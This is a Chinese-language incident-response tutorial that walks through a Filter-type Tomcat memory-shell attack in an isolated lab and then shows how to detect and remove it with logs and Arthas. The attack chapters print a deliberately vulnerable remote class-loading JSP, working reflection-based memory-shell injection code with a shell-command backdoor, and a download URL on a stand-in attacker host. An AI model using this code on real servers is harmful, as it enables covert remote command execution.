分类: 应急响应

  • 内存马应急响应

    内存马应急响应 · 新手全流程实战手册

    演练日期:2026-08-04 演练环境:本地物理机(攻击端) ↔ 阿里云 ECS x.x.93.235(目标端,隔离测试环境 /opt/tomcat-lab,与生产业务完全隔离) 技术栈:Tomcat 9.0.120 + JDK 21 + JSP(Filter 型内存马) 本文件夹配套文件:

    • attack.py — 本地攻击脚本(SSH 隧道 + 恶意 jar 托管 + 注入 + 利用)
    • evil.jar — 恶意类打包(攻击者托管的 jar,就是通过它打进去的)
    • ShellFilter.java — 恶意类源码(重点学习文件,看懂它 = 看懂内存马原理)
    • dump_ShellFilter.class — Arthas 从内存中 dump 出的恶意类字节码(取证留证)
    • vuln.jsp / index.jsp — 靶机上的漏洞注入点 / 正常业务页面
    • localhost_access_log样本.txt — 本次攻击留下的真实访问日志(应急发现的起点)

    目录


    第 0 章 新手阅读指南

    这份笔记是实打实跑通过的全过程记录——里面的命令都在真实环境执行过,输出都是真实结果。作为新手,建议按这个顺序读:

    1. 第 1 章一定要看:不懂”Filter 链 / 类加载器 / 反射”这三件事,后面所有命令都会看不懂
    2. 第 4、5 章是重点:先看命令,再看我加的 # ← 注释,最后看输出和”这段输出说明什么”
    3. 第 7 章速查卡:抄到你的笔记本里,应急响应时直接照着敲
    4. 有条件就自己复现:ECS 上靶机还在(8080 端口),本地运行 python attack.py 就能重打一遍

    学习目标:看完这份笔记,你能回答四个问题——

    • 内存马到底是什么?和传统 webshell 有什么区别?
    • 攻击者是怎么把一段代码”塞进”运行中的 Java 程序的?
    • 应急时怎么用 Arthas 把内存里的恶意代码”揪”出来?
    • 怎么清除、怎么排查后门、怎么恢复业务?

    第 1 章 基础概念(建议先看,5 分钟)

    1.1 一个 HTTP 请求在 Tomcat 里是怎么被处理的?

    假设你访问 http://服务器:8080/,Tomcat 的处理流程:

    
    
    
    
    
    • Filter(过滤器):Java Web 里”拦路检查”的组件。正常的过滤器比如登录校验、字符编码、压缩。定义在 web.xml
    • Filter 链(FilterChain):多个过滤器按注册顺序串成的链条。关键:每个请求都会经过链上所有 Filter。

    1.2 什么是”内存马”?

    传统 webshell(落盘型):攻击者在服务器磁盘上写一个 .jsp/.php 文件(比如 /webapps/shell.jsp),访问它就能执行命令。特点:有文件,杀软能查、文件检查能找到

    内存马(无文件型):攻击者不写文件,而是通过代码执行漏洞,往正在运行的 JVM 内存里动态注册一个恶意 Filter。效果一样——访问特殊路径就能命令执行,但:

    对比项传统 WEBSHELL内存马
    是否有文件✅ 有,磁盘上可见❌ 无,只在内存
    杀软查杀能查查不到
    文件扫描能找到找不到
    重启 JVM 后文件还在,依然可用失效(除非做了持久化)

    “内存马”名字的由来:恶意代码只存在于内存(JVM 运行时数据),不落盘。

    1.3 为什么恶意代码能”不落盘”地运行?—— 类加载器

    Java 程序的类(class)不是一开始全部加载到内存的,而是用到哪个类才加载哪个。负责加载类的家伙叫类加载器(ClassLoader)

    • 正常情况:类加载器从磁盘上的 .class 文件 / .jar 包里读字节码
    • 有一种特殊的类加载器叫 URLClassLoader:它能从 URL(网络地址) 直接加载字节码,不一定需要磁盘文件
    // 这就是本次攻击的核心一行(简化版):
    URLClassLoader loader = new URLClassLoader(new URL[]{new URL("http://攻击者/evil.jar")});
    Class<?> c = loader.loadClass("com.evil.ShellFilter");  // 从网络加载恶意类

    👉 这就是”无文件”的底层原理:类字节码通过网络进内存,磁盘上干干净净。

    1.4 什么是”反射”?

    Java 反射 = 运行时查看和操作类/对象的能力。正常情况下你写代码要”编译期就知道类名、方法名”;反射可以在运行时用字符串拿到类、调用方法、读写私有字段

    // 反射示例:用字符串"filterDefs"拿到私有字段,再往里面塞东西
    Field field = object.getClass().getDeclaredField("filterDefs"); // 按名字找字段
    field.setAccessible(true);                                       // 私有字段也要能碰
    Map map = (Map) field.get(object);                               // 取出字段值
    map.put("evilShell", 恶意Filter定义);                             // 塞进我们的恶意过滤器

    👉 内存马注入就是反射 + 类加载器的组合拳:远程加载类 → 反射调用它的方法 → 反射往 Filter 链里塞恶意过滤器。

    1.5 什么是 SSH 隧道?(攻击脚本里用到的)

    SSH 隧道 = 用 SSH 加密通道把两个端口”接”起来,让网络流量走 SSH 隧道传输。本次演练:

    本地 127.0.0.1:8080 ══SSH隧道══▶ ECS 127.0.0.1:8080   (正向:本地访问 = 访问服务器)
    ECS 127.0.0.1:9000 ══SSH隧道══▶ 本地 127.0.0.1:9000   (反向:服务器访问9000 = 访问我们本地的http服务)
    • 正向隧道:模拟”攻击者通过内网/跳板访问目标”(真实场景:目标在内网,攻击者 SSH 跳板进入)
    • 反向隧道:把恶意 jar 托管在攻击者本地,但目标通过 http://127.0.0.1:9000/evil.jar 就能下载到——模拟攻击者持有的恶意类服务器(类似 Log4Shell 的 JNDI 服务器),同时把真实攻击者的 IP 藏了起来(日志里只看到 127.0.0.1)

    1.6 什么是 Arthas?

    Arthas(阿尔萨斯)是阿里巴巴开源的在线诊断工具,可以”钻进”正在运行的 Java 程序:看类、反编译代码、看内存对象、执行表达式。不需要重启目标程序。本次应急响应的取证全靠它。


    第 2 章 演练环境与攻击链总览

    本地物理机 (Windows, 攻击者视角)                 ECS 

    完整攻击链(一条线记住):

    ① 发现注入点 ② 远程加载恶意类  ③ 反射注册 Filter ④ 触发命令执行
    /vuln.jsp 泄露 URLClassLoader 从往 StandardContext访问 /spass=hackme
    远程类加载接口攻击者jar托管地址的 FilterChain &cmd=id(127.0.0.1:9000) 塞入 evilShell → 回显命令结果

    角色划分

    • 本地物理机 = 攻击者(跑 attack.py)
    • ECS 上的 Tomcat = 受害者(业务系统 + 漏洞点)
    • 你在 ECS 上的另一个 SSH 会话 = 应急响应管理员(第 5 章所有命令都在这执行)

    第 3 章 环境部署(搭建靶机)

    目标:ECS 上装一个独立的 Tomcat(端口 8080,和生产 80/443 业务完全隔离),放两个页面。

    # ① 建目录、下载 Tomcat 9.0.120(国内用阿里云镜像,GitHub 慢)
    mkdir -p /opt/tomcat-lab && cd /opt/tomcat-lab
    curl -sL -o tomcat.tar.gz "https://mirrors.aliyun.com/apache/tomcat/tomcat-9/v9.0.120/bin/apache-tomcat-9.0.120.tar.gz"
    tar xzf tomcat.tar.gz && mv apache-tomcat-9.0.120 tomcat
    #     tar xzf = 解压 (x=解压 z=gzip压缩格式 f=指定文件)
    #     mv 改名为简短的 tomcat,方便输入

    # ② 部署两个页面(ROOT = 根应用目录,访问 / 就是这里)
    cd tomcat/webapps/ROOT && rm -rf *
    #   index.jsp:正常业务页面(登录页面那种东西)
    #   vuln.jsp :故意留的漏洞接口,模拟"任意远程类加载"漏洞
    #     ← 真实世界里这个漏洞长这样:JNDI注入(Log4j2)、反序列化(Fastjson/Shiro)、
    #       Struts2 OGNL 等,它们最终都能让攻击者加载任意类。这里用 JSP 模拟,
    #       效果完全一样:给一个 url 就能加载类并调用 install 方法。

    # ③ 启动 Tomcat
    ./tomcat/bin/startup.sh        # startup.sh = 启动脚本;日志在 tomcat/logs/catalina.out

    # ④ 验证
    curl -s http://127.0.0.1:8080/   # 能看到首页 HTML = 业务正常

    vuln.jsp 源码(漏洞点,务必看懂)

    <%@ page import="java.net.*,java.lang.reflect.*" %>
    <%
    String url = request.getParameter("url");    // ① 接收攻击者的 url 参数(恶意 jar 地址)
    String cls = request.getParameter("cls");    // ② 接收类名参数(恶意类名)
    if (url != null && cls != null) {
       // ③ 用 URLClassLoader 从 url 加载类 —— 这就是漏洞的核心!
       URLClassLoader loader = new URLClassLoader(new URL[]{new URL(url)}, this.getClass().getClassLoader());
       Class<?> c = loader.loadClass(cls);               // ④ 加载指定类
       Method m = c.getMethod("install", ServletContext.class);  // ⑤ 找 install 方法
       m.invoke(null, application);                      // ⑥ 调用它!恶意 Filter 注册完成
       out.println("[+] remote class loaded and installed: " + cls);
    }
    %>

    漏洞本质:接口信任了攻击者提供的 urlcls——让攻击者把任意代码塞进 JVM


    第 4 章 攻击阶段:注入点 → 内存马 → 命令执行

    本章所有操作由本地物理机执行(python attack.py),模拟真实攻击者。

    4.1 攻击脚本 attack.py 在做什么?

    # 关键模块拆解(对应文件 attack.py):

    # ① paramiko 连 SSH(我们和服务器之间的安全通道)
    ssh.connect('x.130.93.x', username='xxx', key_filename=SSH_KEY)

    # ② 双向隧道(见 1.5 概念)
    start_forward(transport, 8080, '127.0.0.1', 8080)   # 本地8080 → ECS 8080
    start_reverse(transport, 9000, '127.0.0.1')          # ECS:9000 → 本地9000

    # ③ 本地起一个 HTTP 服务,把 evil.jar 托管出去
    #   (模拟攻击者的恶意类服务器,JNDI/Log4Shell 场景里就是恶意 LDAP 服务器)
    #   http://127.0.0.1:9000/evil.jar ← 服务器访问这个地址就能下载恶意类

    # ④ 攻击四步走(每步发一个 HTTP 请求)
    #   GET /                   → 指纹识别
    #   GET /vuln.jsp           → 发现漏洞点
    #   GET /vuln.jsp?url=...evil.jar&cls=com.evil.ShellFilter → 注入内存马
    #   GET /s?pass=hackme&cmd=id → 利用内存马执行命令

    4.2 Step 1:指纹识别(认识目标)

    GET / -> HTTP 200
    <html><head><title>XX 内网业务管理系统</title></head>...

    输出解读:目标是一个”XX 内网业务管理系统”。攻击者先摸清目标是什么系统、什么技术栈,再找对应漏洞。

    4.3 Step 2:发现可注入点

    GET /vuln.jsp -> HTTP 200
    [i] usage: /vuln.jsp?url=http://ATTACKER/evil.jar&cls=com.evil.ShellFilter

    输出解读:漏洞接口把自己的用法都吐出来了(信息泄露)——告诉攻击者:传一个 url 和一个 cls 就能加载任意类。这就是”发现可注入点”:不需要扫描器,一个请求就暴露了。

    新手注意:真实渗透里这种”接口主动泄露参数用法”很常见,比如报错回显、Swagger 文档、debug 接口。

    4.4 Step 3:打入内存马(全流程最关键的一步)

    GET /vuln.jsp?url=http://127.0.0.1:9000/evil.jar&cls=com.evil.ShellFilter
    [+] remote class loaded and installed: com.evil.ShellFilter

    这里发生了什么(对应第 1.3 节原理)

    1. Tomcat 收到请求,执行 vuln.jsp
    2. URLClassLoaderhttp://127.0.0.1:9000/evil.jar(经反向隧道 = 攻击者本地)远程加载 com.evil.ShellFilter
    3. 反射调用它的 install(servletContext) 静态方法
    4. install() 里用反射找到 StandardContext(Tomcat 管 Filter 链的容器),动态注册了名为 evilShell 的恶意 Filter,并把它插到 Filter 链最前面

    恶意类 ShellFilter.java 源码逐段拆解(重点学习)

    public static void install(ServletContext servletContext) throws Exception {
       // 【第1步】拿到 StandardContext(管理所有 Filter 的对象)
       // ServletContext 是个"门面"(Facade),里面套着 ApplicationContext,
       // 再里面才是 StandardContext。所以循环找 3 层:
       Object obj = servletContext;
       for (int i = 0; i < 3 && obj != null; i++) {
           Field ff = obj.getClass().getDeclaredField("context");  // 反射:按名字找私有字段
           ff.setAccessible(true);                                  // 私有字段也能访问
           obj = ff.get(obj);                                       // 取出字段值
           if (obj != null && obj.getClass().getName().equals(
                   "org.apache.catalina.core.StandardContext")) {   // 找到 StandardContext 就停
               break;
          }
      }
       if (obj == null) throw new IllegalStateException("StandardContext not found");

       // 【第2步】构造一个"恶意 Filter 的定义"(名字 evilShell,类是我们自己)
       Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
       Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
       filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, "evilShell");
       filterDefClass.getMethod("setFilterClass", String.class).invoke(filterDef, ShellFilter.class.getName());
       filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, new ShellFilter());

       // 【第3步】把 FilterDef 塞进 filterDefs 这个 Map(相当于 web.xml 里注册了一个 Filter)
       Field filterDefsField = obj.getClass().getDeclaredField("filterDefs");
       filterDefsField.setAccessible(true);
       Map<String, Object> filterDefs = (Map<String, Object>) filterDefsField.get(obj);
       filterDefs.put("evilShell", filterDef);

       // 【第4步】把过滤规则(/* = 所有请求)插到 Filter 链最前面
       // addFilterMapBefore = 插到最前面 → 所有请求第一个经过我们的恶意 Filter
       Class<?> filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
       Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
       filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, "evilShell");
       filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
       obj.getClass().getMethod("addFilterMapBefore", filterMapClass).invoke(obj, filterMap);

       // 【第5步】启动这个 Filter(不然不生效)
       obj.getClass().getMethod("filterStart").invoke(obj);
    }
    // 【恶意逻辑】doFilter:每个请求都会经过它
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
       String cmd = request.getParameter("cmd");           // ① 看请求有没有 cmd 参数
       // ② 触发条件:路径以 /s 结尾 + 有 cmd 参数 + pass 口令等于 hackme
       if (request.getRequestURI().endsWith("/s") && cmd != null
               && "hackme".equals(request.getParameter("pass"))) {
           Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); // ③ 执行命令
           // ④ 把命令输出写回响应(回显)——攻击者浏览器/脚本直接看到结果
           response.getWriter().print(命令输出);
           return;  // ⑤ 拦截:不往下传,业务无感
      }
       chain.doFilter(req, resp);  // ⑥ 不是触发请求就正常放行 → 业务透明
    }

    内存马 vs 一句话木马:一句话木马(如冰蝎的 .jsp)是把代码写到文件;内存马是把同样的逻辑变成内存里的一个 Filter。触发方式都是”带口令访问特殊路径”。

    4.5 Step 4:利用内存马命令执行

    # 触发请求:/s?pass=hackme&cmd=<要执行的命令>
    cmd: id
    uid=0(root) gid=0(root) groups=0(root)     ← 命令执行成功!且是 root 权限!

    cmd: whoami
    root

    cmd: hostname; cat /etc/hostname
    DCJ

    cmd: cat /etc/passwd | head -3
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin

    输出解读

    • id 显示 uid=0(root)Tomcat 以 root 运行,攻击者拿到的是服务器最高权限(这也是加固建议:Tomcat 不要用 root 跑)
    • cat /etc/passwd 能读系统账户文件 → 已经可以任意读文件
    • 这个内存马现在等价于”一个不需要文件、重启前永远可用的 root shell”
    # 最后验证:正常业务不受影响(内存马对业务"透明")
    GET / -> HTTP 200(正常返回)

    为什么业务无感? 因为恶意 Filter 对普通请求只是”看一眼参数,不是触发请求就放行”,业务链路完全没变。


    第 5 章 应急响应:发现 → 取证 → 清除 → 扫描 → 恢复

    角色切换:现在你是应急响应管理员,在 ECS 上执行下面的命令。 目标:发现入侵 → 确认是内存马 → 取证留证 → 清除 → 全面排查后门 → 修复漏洞恢复业务。

    5.1 阶段 A:发现——从访问日志找到蛛丝马迹

    故事线:管理员例行查看 Tomcat 访问日志,发现了异常请求。

    cat /opt/tomcat-lab/tomcat/logs/localhost_access_log.2026-08-04.txt

    真实输出(节选关键行):

    127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /vuln.jsp?url=http%3A%2F%2F127.0.0.1%3A9000%2Fevil.jar&cls=com.evil.ShellFilter" 200
    127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /s?pass=hackme&cmd=id" 404         ← 注入前的尝试(未生效)
    127.0.0.1 - - [04/Aug/2026:01:24:42] "GET /s?pass=hackme&cmd=id" 200         ← 注入成功后(命令执行了!)
    127.0.0.1 - - [04/Aug/2026:01:24:43] "GET /s?pass=hackme&cmd=cat+%2Fetc%2Fpasswd+%7C+head+-3" 200

    新手怎么看日志(3 个可疑点):

    1. vuln.jspurl=...evil.jar&cls=com.evil.ShellFilter → 有人在让服务器加载外部类(攻击行为!)
    2. /s?pass=hackme&cmd=idcmd= 参数 = 命令执行特征,pass= = 后门口令(webshell/内存马标志)
    3. 同一个路径 /s 从 404 变成 200 → 说明”中间发生了什么让这个路径生效了”——这正是内存马注入成功的时间点

    日志告警特征速记cmd= / pass= / 远程 jar 加载 / 404→200 转变 / 无对应文件的高频路径。

    5.2 阶段 B:文件系统排查——确认”没有落盘文件”

    管理员第一反应:查文件系统有没有 webshell 文件。

    # ① 看 webapps 下所有文件(业务部署目录)
    find /opt/tomcat-lab/tomcat/webapps -type f | head
    # 输出只有 index.jsp / vuln.jsp 和 Tomcat 自带示例 —— 没有 shell.jsp 之类的文件

    # ② 找最近 2 小时内被修改过的文件
    find /opt/tomcat-lab -mmin -120 -type f | grep -v logs
    # 只有我们部署的业务文件 —— 磁盘干净

    # ③ 专门找 jsp/war 后门
    find /opt/tomcat-lab -name "*.jsp" -o -name "*.war" | xargs ls -la
    # 无恶意文件

    推理:日志明确显示命令执行了(/s?cmd=id 返回 200),但磁盘上没有任何 webshell 文件 → 恶意代码不在文件系统里 → 高度怀疑内存马

    5.3 阶段 C:Arthas 取证(本次演练核心环节)

    工具准备

    # 下载 Arthas(阿里云官方 CDN,应急时如果目标无法外网下载,
    # 应提前在运维工具机备好,或从内网镜像拉)
    curl -sL -o arthas-boot.jar https://arthas.aliyun.com/arthas-boot.jar

    # 找到 Tomcat 的进程号(PID)
    pgrep -f "org.apache.catalina.startup.Bootstrap"
    # 输出:1761264 ← 这就是 Tomcat 的 PID

    # 用非交互模式执行 Arthas 命令(-f 指定命令脚本文件,适合应急自动化和记录)
    java -jar arthas-boot.jar --select 1761264 -f /tmp/arthas_cmd.txt
    #   --select <pid> = 指定要诊断的进程
    #   -f 文件 = 从文件读命令批量执行

    取证 ① sc 搜索可疑类(sc = search class)

    [arthas@1761264]$ sc com.evil.*
    com.evil.ShellFilter
    com.evil.ShellFilter
    Affect(row-cnt:2) cost in 22 ms.

    输出解读:内存里存在 com.evil.ShellFilter!出现了 2 次——因为攻击打了 2 次(第一次失败了,第二次成功),每次注入都加载了一份类。正常业务系统里绝不会有 com.evil 这个包。

    取证 ② sc -d 看类详情——三个铁证

    [arthas@1761264]$ sc -d com.evil.ShellFilter
    class-info       com.evil.ShellFilter
    code-source       /evil.jar                   ← 【铁证1】类来源是URL不是磁盘路径!
    class-loader     java.net.URLClassLoader@2dda4381   ← 【铁证2】动态远程类加载器!
    interfaces       javax.servlet.Filter         ← 【铁证3】它是 Filter(内存马常见形态)

    新手必懂——为什么这三个字段就是铁证

    • code-source: /evil.jar:正常类的来源是磁盘文件路径(如 file:/opt/tomcat-lab/tomcat/lib/servlet-api.jar)。/evil.jar 是一个 URL 路径(来自网络),说明这个类是从网上加载的——正常业务不可能这样。
    • class-loader: java.net.URLClassLoader:正常业务类由 Tomcat 的 WebappClassLoader(加载 webapps 下的类)或系统类加载器加载。URLClassLoader 专门用来加载远程/动态字节码
    • interfaces: javax.servlet.Filter:它是个过滤器 → 结合日志里 /s?cmd=id 能命令执行 → 就是它干的。

    取证 ③ jad 反编译——直接看恶意代码

    [arthas@1761264]$ jad -c 2dda4381 com.evil.ShellFilter
    #   -c <hashcode> = 指定类加载器(因为有两个实例,要指明确认看哪一个)
    ...
    /*38*/   clazz.getMethod("setFilterName", String.class).invoke((Object)field, "evilShell");
    /*58*/   object.getClass().getMethod("filterStart", new Class[0]).invoke(object);
    /*69*/   Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", string});   ← 命令执行!

    输出解读:Arthas 把内存里的字节码反编译成 Java 源码——第 69 行 Runtime.exec("/bin/sh -c ...") 就是执行命令的代码。证据链闭合:这个类就是内存马,逻辑和日志里的攻击行为完全对应

    取证 ④ dump 导出 class——留证

    [arthas@1761264]$ dump -d /tmp/arthas_dump com.evil.ShellFilter
    Affect(row-cnt:2) cost in 58 ms.
    → /tmp/arthas_dump/java.net.URLClassLoader-2dda4381/com/evil/ShellFilter.class   ← 落盘了!
    → /tmp/arthas_dump/java.net.URLClassLoader-6ccd63b7/com/evil/ShellFilter.class

    为什么要 dump:应急响应要留证据——把内存里的恶意类导成 .class 文件保存(对应本文件夹的 dump_ShellFilter.class),可以交给上级/厂商分析,也是事后复盘材料。

    取证 ⑤ vmtool 直击 Filter 链——实锤动态注册

    [arthas@1761264]$ vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
      --express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'
    @String[/manager -> [Tomcat WebSocket (JSR356) Filter, CSRF, HTTP header security filter]]
    @String[/docs -> [Tomcat WebSocket (JSR356) Filter]]
    @String[ -> [Tomcat WebSocket (JSR356) Filter, evilShell]]     ← 注意这里!ROOT应用多了 evilShell
    @String[/examples -> [Compression Filter, ...]]

    输出解读(重点看)

    • 列出 Tomcat 里每个应用(/manager、/docs、/examples……和 ROOT)注册的所有 Filter
    • 其他应用的 Filter 都是 Tomcat 自带的(WebSocket、CSRF、压缩……都是 web.xml 里配置的正常过滤器)
    • ROOT 应用(path 为空的那行)多了一个 evilShell——没有任何配置文件和它对应 → 这就是被动态注册的内存马,实锤

    取证小技巧:对比”配置里有的 Filter”和”运行时实际存在的 Filter”,多出来的就是内存马。这是最可靠的判断方法。

    取证 ⑥ 落盘痕迹检查——JDK 9+ 的特别发现

    # 理论上 URLClassLoader 下载远程 jar 会缓存到 java.io.tmpdir(JDK 8 行为)
    find /opt/tomcat-lab/tomcat/temp /tmp -name "*.jar" -newermt "2026-08-04 01:20"
    # 结果:啥都没有!

    这是本次演练最有价值的实战发现之一:JDK 8 时代,URLClassLoader 从 http 下载 jar 会在临时目录留下一个随机名的缓存 jar(java.io.tmpdir 下),应急时可以靠它发现攻击痕迹。但 JDK 9+ 之后不再缓存,远程 jar 直接进内存——更隐蔽,只能靠内存取证(Arthas)。这也说明:Java 版本越高,内存马检测越依赖运行时工具。

    5.4 阶段 D:清除内存马

    原理:这是纯内存型内存马(没有持久化),它的宿主就是 JVM 进程——重启 JVM,内存清空,内存马自然消失

    # ① 关闭 Tomcat(shutdown.sh 优雅停止)
    /opt/tomcat-lab/tomcat/bin/shutdown.sh && sleep 5
    # 验证进程真的退出了
    pgrep -f Bootstrap && echo "[!] 进程仍在" || echo "[+] 进程已退出"

    # ② 重启
    /opt/tomcat-lab/tomcat/bin/startup.sh

    # ③ 验证业务恢复
    curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/
    # 输出 HTTP 200 → 业务正常

    # ④ 验证内存马已失效(同样的触发请求现在 404 了)
    curl -s "http://127.0.0.1:8080/s?pass=hackme&cmd=id" | head -3
    # 输出 404 Not Found → 内存马没了!

    # ⑤ Arthas 复查(严谨做法:清除后必须复查确认)
    [arthas@1765934]$ sc com.evil.*
    Affect(row-cnt:0) cost in 14 ms.     ← 0 行!恶意类彻底不存在

    vmtool --action getInstances ...(同上命令)
    @String[ -> [Tomcat WebSocket (JSR356) Filter]]   ← evilShell 已消失,Filter 链恢复干净

    ⚠️ 重要提醒(新手必记):重启能清除纯内存型内存马。但如果攻击者做了持久化——比如改了 lib/ 下的 jar、在启动参数加了 -javaagent、写了启动脚本——重启后内存马会再次出现。所以必须先做 5.5 的后门扫描确认无持久化,再决定”重启清除”是否足够。

    5.5 阶段 E:后门扫描(全面排查系统是否还有别的后门)

    原则:不止清除一个内存马,要确认整个系统干净。攻击者往往不止留一个后门。

    # ① 计划任务(定时任务 = 常见持久化手段)
    crontab -l                       # root 的计划任务:只有宝塔面板自己的备份任务,正常
    ls /etc/cron.d/ /etc/cron.daily/ # 系统自带 e2scrub/sysstat,正常

    # ② 启动项
    cat /etc/rc.local                # 无内容,正常
    systemctl list-units --type=service --state=running
    # 运行中的服务:aegis(阿里云盾)/BT(宝塔)/mihomo(用户自己的代理)/sshd/nginx... 都是已知服务

    # ③ SSH 后门(攻击者最常留:把自己的公钥写进 authorized_keys)
    cat /root/.ssh/authorized_keys
    # 只有 admin@DESKTOP-AI93QHL —— 用户自己的电脑,正常

    # ④ 用户账户(攻击者可能创建新用户)
    grep -v nologin /etc/passwd
    # admin / springboot 都是已知用户,无新增异常用户

    # ⑤ 监听端口(后门可能开新端口)
    ss -antp | grep LISTEN
    # 22/80/443/8080/3306/5003/35033 —— 全部已知,无陌生端口

    # ⑥ Tomcat lib 目录基线(攻击者可能替换 jar 植入后门)
    ls /opt/tomcat-lab/tomcat/lib/*.jar | wc -l                  # 33 个 = 官方包数量
    find /opt/tomcat-lab/tomcat/lib -name "*.jar" -newermt "2026-08-04 01:20" | wc -l  # 0 个近期新增

    # ⑦ 近期被修改的系统文件 + profile 文件(.bashrc 等可能被注入启动后门)
    find /etc /root /usr/local /opt -mmin -180 -type f | grep -vE "tomcat|\.bash_history"
    tail -5 /root/.bashrc   # 只有 clash 代理和宝塔别名,正常

    扫描结论:全部正常,无持久化后门 → 确认本次攻击是纯内存型,重启清除有效、彻底。

    5.6 阶段 F:修复漏洞 + 恢复业务

    应急的最后一步:堵住让攻击者进来的洞,否则清完还会再进来。

    # ① 修复漏洞:移除注入点(真实场景:给漏洞打补丁、加参数校验、限制出网等)
    mv /opt/tomcat-lab/tomcat/webapps/ROOT/vuln.jsp /tmp/vuln.jsp.bak

    # ② 最终验证
    curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/             # 200 业务正常
    curl -s -o /dev/null -w "GET /vuln.jsp -> HTTP %{http_code}" http://127.0.0.1:8080/vuln.jsp  # 404 漏洞已修复

    第 6 章 新手 FAQ

    Q1:内存马到底”存在”在哪里? A:在 JVM 进程的内存里。它是被加载到内存的类对象,挂在 Tomcat 的 Filter 链数据结构里。没有文件,所以重启进程就没了。

    Q2:杀软为什么查不到内存马? A:杀软主要扫磁盘文件 + 进程行为。内存马没有文件(文件层面零特征),行为层面只是”动态注册了个 Filter”——大多数杀软不监控 JVM 内部结构。

    Q3:scjaddumpvmtool 都是什么意思? A:Arthas 的命令:

    • sc(search class)= 搜类
    • jad = 反编译(内存里的字节码 → Java 源码)
    • dump = 导出类字节码成文件
    • vmtool = 查看/操作 JVM 里的对象实例
    • 其他常用:thread 看线程、heapdump 导出堆、ognl 执行表达式、watch 监控方法

    Q4:内存马有哪些类型? A:按注册位置分:

    • Filter 型(本次演练):挂在 Filter 链 → 每个请求都经过
    • Servlet 型:动态注册一个 Servlet 到路径映射
    • Listener 型:注册事件监听器(request/session 事件触发)
    • Spring 型:注册 Controller/Interceptor(SpringMVC 框架内)
    • Agent 型:篡改已加载的类(最隐蔽,dump 出来看是”正常类被改了”)

    Q5:如果重启后内存马又出现了,说明什么? A:说明有持久化——攻击者把恶意代码写进了磁盘某个会被 JVM 加载的地方(改 lib jar / -javaagent 启动参数 / 写启动脚本 / 替换框架 jar)。这时要按 5.5 的清单深挖,先清除持久化载体再重启。

    Q6:日志里的 404→200 转变为什么重要? A:请求某个路径先 404(目标不存在)后 200(目标存在),说明运行环境变了——内存马注入生效的典型信号。监控这类转变能快速发现内存马攻击。

    Q7:本地物理机扮演的角色是什么? A:攻击者。attack.py 里做了三件事:SSH 隧道(内网穿透/隐藏来源)、托管恶意 jar(恶意类服务器)、发 HTTP 攻击请求。真实攻击中攻击者用 VPS/跳板机做这些事,日志里只看到内网 IP。

    Q8:如果 Tomcat 以普通用户(非 root)运行,影响有多大? A:攻击者拿到的是 Tomcat 运行用户的权限。root 运行 = 服务器沦陷;普通用户运行 = 至少无法直接读写系统文件。最小权限原则是重要防线

    Q9:vuln.jsp 这种漏洞在真实世界里长什么样? A:对应关系:

    • 远程类加载接口 → JNDI 注入(Log4j2/Log4Shell)、反序列化(Fastjson/Shiro/Weblogic)
    • 攻击者托管恶意 jar/LDAP → 攻击者的 VPS 上的恶意 LDAP/RMI 服务器
    • 内存马注册 → 完全一样(Filter/Servlet/Spring Controller) 所以本演练虽然用 JSP 模拟,但攻击链每一步在真实漏洞里都有对应。

    Q10:我要多久才能独立做一次应急响应? A:理解这份笔记 + 亲手复现一遍(ECS 靶机还在),大概 1-2 天能上手流程。重点是记住”检测要点速查表”和”先查持久化再重启”的原则。


    第 7 章 速查卡(应急时复制用)

    一、发现(日志)

    # 找可疑请求:远程类加载 / cmd 参数 / pass 口令 / 404→200
    grep -E "cmd=|pass=|evil|Shell|\.jar&cls=" tomcat/logs/localhost_access_log*.txt

    二、确认(文件 vs 内存)

    # 1. 文件系统:无落盘
    find /var/lib/tomcat*/webapps -type f -newermt "1 day ago" 2>/dev/null
    # 2. 内存:Arthas 三连
    java -jar arthas-boot.jar --select <PID> -c "sc com.evil.*"          # 搜可疑类
    java -jar arthas-boot.jar --select <PID> -c "sc -d com.evil.ShellFilter"  # 看 code-source/class-loader
    java -jar arthas-boot.jar --select <PID> -c "jad -c <hash> com.evil.ShellFilter"  # 反编译
    # 3. Filter 链对比(最可靠)
    vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
     --express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'

    三、清除

    # 纯内存型:重启即清除
    shutdown.sh && sleep 5 && startup.sh
    # 复查
    java -jar arthas-boot.jar --select <新PID> -c "sc com.evil.*"   # 期望 row-cnt:0

    四、后门扫描

    crontab -l; ls /etc/cron.d/                        # 计划任务
    systemctl list-units --type=service --state=running  # 服务
    cat /root/.ssh/authorized_keys                     # SSH 后门
    grep -v nologin /etc/passwd                        # 异常用户
    ss -antp | grep LISTEN                             # 陌生端口
    find lib -name "*.jar" -newermt "3 days ago"       # jar 替换
    tail -5 ~/.bashrc; cat /etc/rc.local               # profile 后门
    find / -mtime -3 -name "*.jsp" -o -mtime -3 -name "*.php" 2>/dev/null  # 后门文件

    五、恢复与加固

    # 修复漏洞 → 重启验证 → 补监控(日志/基线/最小权限)

    第 8 章 术语表

    术语解释
    JVMJava 虚拟机,Java 程序运行的地方,内存马就住在它的内存里
    Tomcat最流行的 Java Web 服务器(Servlet 容器)
    Filter / FilterChain过滤器 / 过滤器链,每个请求必经的检查通道
    Servlet / JSPJava Web 的业务组件(JSP 可以在里面写 Java 代码)
    webappsTomcat 部署应用/网站的目录,落盘 webshell 通常在这里
